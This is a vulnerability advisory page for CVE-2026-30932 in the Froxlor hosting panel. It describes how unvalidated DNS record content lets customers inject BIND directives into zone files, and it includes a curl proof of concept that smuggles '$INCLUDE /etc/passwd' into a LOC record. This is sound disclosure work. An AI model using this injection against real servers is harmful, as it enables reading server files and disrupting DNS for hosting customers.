CVE-2026-30932: Froxlor is vulnerable to BIND zone file injection via unsanitized DNS record content in DomainZones API
Summary The DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs.
Published Mar 24, 2026 · Updated Mar 30, 2026
Affected packages
froxlor/froxlor
- Ecosystem
- Composer (PHP)
- Affected
- <= 2.3.4
- Fixed in
- 2.3.5
- Check
composer show froxlor/froxlor
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
The DomainZones.add API endpoint (accessible to customers with DNS enabled) does not validate the content field for several DNS record types (LOC, RP, SSHFP, TLSA). An attacker can inject newlines and BIND zone file directives (e.g. $INCLUDE) into the zone file that gets written to disk when the DNS rebuild cron job runs.
Affected Code
lib/Froxlor/Api/Commands/DomainZones.php, lines 213-214, 253-254, 290-291, 292-293:
} elseif ($type == 'LOC' && !empty($content)) {
$content = $content; // no validation
} ...
} elseif ($type == 'RP' && !empty($content)) {
$content = $content; // no validation
} ...
} elseif ($type == 'SSHFP' && !empty($content)) {
$content = $content; // no validation
} elseif ($type == 'TLSA' && !empty($content)) {
$content = $content; // no validation
}There is even a TODO comment at line 148 acknowledging this gap:
// TODO regex validate content for invalid charactersThe content is then written directly into the BIND zone file via DnsEntry::__toString() (line 83 of lib/Froxlor/Dns/DnsEntry.php):
return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" ... . $_content . PHP_EOL;And the zone file is written to disk in lib/Froxlor/Cron/Dns/Bind.php line 121:
fwrite($zonefile_handler, $zoneContent . $subzones);PoC
As a customer with DNS management enabled and an API key, add a LOC record with injected BIND directives:
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{"command":"DomainZones.add","params":{"domainname":"example.com","type":"LOC","content":"0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd"}}' \
https://panel.example.com/api.phpAlternatively via the web UI, intercept the DNS editor form POST and set dns_content to 0 0 0 N 0 0 0 E 0\n$INCLUDE /etc/passwd and dns_type to LOC.
After the DNS rebuild cron runs, the resulting zone file at {bindconf_directory}/domains/example.com.zone will contain:
@ 18000 IN LOC 0 0 0 N 0 0 0 E 0
$INCLUDE /etc/passwdBIND will process the $INCLUDE directive and attempt to parse /etc/passwd as zone data. While most lines will fail to parse as valid records, the file content is readable by the BIND process (running as bind/named user), confirming file existence and potentially leaking parseable lines as DNS records.
Impact
- Information Disclosure: The
$INCLUDEdirective lets a customer read world-readable files on the server through the DNS subsystem. The zone content (including included files) is visible to the customer via theDomainZones.getAPI call or the DNS editor in the web UI.
- DNS Service Disruption: Malformed zone content can cause BIND to fail to load the zone, causing DNS outage for the affected domain. Injecting
$GENERATEdirectives could create massive record sets for amplification attacks.
- Zone Data Manipulation: Arbitrary DNS records can be injected by breaking out of the current record line with newlines, allowing the customer to create records that were not intended.
Credited to q1uf3ng.
References
- https://github.com/froxlor/froxlor/security/advisories/GHSA-x6w6-2xwp-3jh6
- https://github.com/froxlor/froxlor/commit/b34829262dc32818b37f6a1eabb426d0b277a86b
- https://github.com/froxlor/froxlor/releases/tag/2.3.5
- https://nvd.nist.gov/vuln/detail/CVE-2026-30932
- https://github.com/advisories/GHSA-x6w6-2xwp-3jh6
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2026-54347
Froxlor: Stored XSS in DNS TXT Record Content Allows Customer-to-Admin Account Takeover
high8.7Aug 18, 2026CVE-2026-54348
Froxlor: Second-Order SQL Injection via `Admins.add` `ipaddress` Parameter Allows Full Database Exfiltration
high7.2Aug 18, 2026CVE-2026-54543
Froxlor DomainZones.add allows DNS zone-file RR injection via record/type fields
medium5.4Aug 18, 2026CVE-2026-55593
Froxlor has CSRF Vulnerability in AJAX Endpoint — Missing Cross-Site Request Forgery Protection
medium6.5Aug 18, 2026CVE-2026-62988
Froxlor: Credential and 2FA secret disclosure via Froxlor API endpoints
critical9.0Aug 18, 2026GHSA-mr9h-45p9-fg8h
Froxlor: Authenticated customers can read other customers' allowed sender aliases
medium4.3Jul 2, 2026
